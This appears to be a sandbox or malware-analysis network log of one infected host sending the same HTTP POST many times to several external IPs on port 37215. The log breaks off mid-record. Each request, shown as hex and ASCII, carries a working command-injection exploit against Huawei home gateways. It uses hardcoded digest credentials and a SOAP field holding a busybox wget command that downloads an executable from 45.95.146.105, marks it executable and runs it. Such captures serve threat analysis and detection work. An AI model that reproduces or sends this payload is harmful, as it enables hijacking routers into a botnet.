Dec 30, 2023 07:14:52.321399927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:59.744262934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:14.590266943 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:45.562016964 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	43280	94.123.22.30	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:47.486787081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	38110	154.206.133.152	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:50.094918013 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:51.649514914 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:53.509143114 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:57.440593004 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:04.863611937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 